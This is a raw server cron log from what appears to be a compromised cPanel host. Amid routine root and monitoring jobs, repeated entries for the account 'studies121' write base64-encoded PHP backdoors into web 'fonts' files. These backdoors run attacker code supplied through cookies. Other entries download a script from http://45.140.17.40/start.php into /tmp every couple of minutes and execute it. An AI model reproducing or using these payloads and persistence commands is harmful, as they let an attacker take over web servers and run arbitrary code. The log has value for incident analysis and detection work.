Sep 21 13:32:01 ip-184-168-122-23 CROND[12733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:32:01 ip-184-168-122-23 CROND[12735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:32:01 ip-184-168-122-23 CROND[12734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:33:01 ip-184-168-122-23 CROND[12884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:33:01 ip-184-168-122-23 CROND[12883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:33:01 ip-184-168-122-23 CROND[12885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:33:01 ip-184-168-122-23 CROND[12886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:34:01 ip-184-168-122-23 CROND[13030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:34:01 ip-184-168-122-23 CROND[13034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:34:01 ip-184-168-122-23 CROND[13033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:34:01 ip-184-168-122-23 CROND[13035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:34:01 ip-184-168-122-23 CROND[13032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:35:01 ip-184-168-122-23 CROND[13298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:35:01 ip-184-168-122-23 CROND[13300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:35:01 ip-184-168-122-23 CROND[13304]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 13:35:02 ip-184-168-122-23 CROND[13303]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:35:02 ip-184-168-122-23 CROND[13305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:35:02 ip-184-168-122-23 CROND[13306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 13:35:02 ip-184-168-122-23 CROND[13307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:35:02 ip-184-168-122-23 CROND[13308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:36:01 ip-184-168-122-23 CROND[13470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:36:02 ip-184-168-122-23 CROND[13472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:36:02 ip-184-168-122-23 CROND[13473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:36:02 ip-184-168-122-23 CROND[13474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:36:02 ip-184-168-122-23 CROND[13475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:37:01 ip-184-168-122-23 CROND[13610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:37:01 ip-184-168-122-23 CROND[13612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:37:01 ip-184-168-122-23 CROND[13611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:37:01 ip-184-168-122-23 CROND[13613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:38:01 ip-184-168-122-23 CROND[13738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:38:01 ip-184-168-122-23 CROND[13740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:38:01 ip-184-168-122-23 CROND[13742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:38:01 ip-184-168-122-23 CROND[13743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:38:01 ip-184-168-122-23 CROND[13741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:39:01 ip-184-168-122-23 CROND[13920]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 13:39:01 ip-184-168-122-23 CROND[13923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:39:01 ip-184-168-122-23 CROND[13925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:39:01 ip-184-168-122-23 CROND[13922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:39:01 ip-184-168-122-23 CROND[13924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:40:02 ip-184-168-122-23 CROND[14141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:40:02 ip-184-168-122-23 CROND[14142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:40:02 ip-184-168-122-23 CROND[14143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:40:02 ip-184-168-122-23 CROND[14146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:40:02 ip-184-168-122-23 CROND[14145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 13:40:02 ip-184-168-122-23 CROND[14147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:40:02 ip-184-168-122-23 CROND[14151]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:40:02 ip-184-168-122-23 CROND[14153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:41:01 ip-184-168-122-23 CROND[14326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:41:01 ip-184-168-122-23 CROND[14327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:41:01 ip-184-168-122-23 CROND[14328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:41:01 ip-184-168-122-23 CROND[14330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:42:01 ip-184-168-122-23 CROND[14607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:42:01 ip-184-168-122-23 CROND[14606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:42:01 ip-184-168-122-23 CROND[14608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:42:01 ip-184-168-122-23 CROND[14609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:42:02 ip-184-168-122-23 CROND[14611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:43:01 ip-184-168-122-23 CROND[14724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:43:01 ip-184-168-122-23 CROND[14725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:43:01 ip-184-168-122-23 CROND[14728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:43:01 ip-184-168-122-23 CROND[14726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:44:01 ip-184-168-122-23 CROND[14880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:44:01 ip-184-168-122-23 CROND[14884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:44:02 ip-184-168-122-23 CROND[14885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
